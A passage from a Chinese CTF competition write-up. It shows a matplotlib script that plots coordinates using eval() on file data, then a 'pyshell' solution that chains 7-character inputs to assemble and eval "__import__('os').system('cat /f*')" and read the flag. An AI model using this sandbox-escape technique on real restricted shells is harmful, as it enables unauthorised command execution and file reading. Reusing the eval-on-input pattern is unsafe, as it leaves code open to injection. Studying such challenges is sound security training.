(24,19) (24,20) (24,24) (24,25) (25,3) (25,6) (25,7) (25,10) (25,11) (25,12) (25,15) (25,19) (25,20) (25,24) (25,25) (26,3) (26,6) (26,7) (26,12) (26,13) (26,16) (26,19) (26,20) (26,24) (26,25) (27,3) (27,6) (27,7) (27,9) (27,12) (27,13) (27,16) (27,19) (27,20) (27,24) (27,25) (28,3) (28,4) (28,6) (28,9) (28,10) (28,11) (28,12) (28,16) (28,17) (28,19) (28,20) (28,24) (28,25) (29,4) (29,5) (29,17) (29,18) (29,19) (31,10) (31,11) (31,12) (31,13) (31,25) (31,31) (32,4) (32,5) (32,6) (32,10) (32,11) (32,12) (32,13) (32,17) (32,18) (32,19) (32,23) (32,24) (32,25) (32,26) (32,32) (33,3) (33,4) (33,6) (33,7) (33,12) (33,16) (33,17) (33,23) (33,24) (33,26) (33,32) (34,6) (34,7) (34,11) (34,16) (34,17) (34,23) (34,24) (34,26) (34,32) (35,6) (35,11) (35,12) (35,17) (35,18) (35,19) (35,23) (35,24) (35,25) (35,26) (35,33) (36,5) (36,12) (36,13) (36,19) (36,20) (36,26) (36,32) (37,4) (37,5) (37,13) (37,16) (37,19) (37,20) (37,25) (37,26) (37,32) (38,4) (38,5) (38,6) (38,7) (38,9) (38,10) (38,11) (38,12) (38,13) (38,16) (38,17) (38,18) (38,19) (38,24) (38,25) (38,31) (38,32) (39,23) (39,24) (39,31)

然后简单画出来就行

import matplotlib.pyplot as plt

with open('data.txt', 'r') as f:
	data_list = f.read().split(' ')
	for data in data_list:
		data = eval(data)
		plt.scatter(data[0], data[1], color='r')
plt.show()

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_36

flag{202305012359}

pyshell

利用_拼接命令执行cat /f*,注意每行限制长度7个字符

Welcome to this python shell,try to find the flag!
>>'__imp'
'__imp'
>>_+'ort'
'__import'
>>_+'__('
'__import__('
>>_+"'os"
"__import__('os"
>>_+"')."
"__import__('os')."
>>_+"sys"
"__import__('os').sys"
>>_+"tem"
"__import__('os').system"
>>_+"('c"
"__import__('os').system('c"
>>_+"at "
"__import__('os').system('cat "
>>_+"/f*"
"__import__('os').system('cat /f*"
>>_+"')"
"__import__('os').system('cat /f*')"
>>eval(_)
flag{043eb8a4-5f1a-482d-9f62-33a421ab4184}0
>>


举报

相关推荐

0 条评论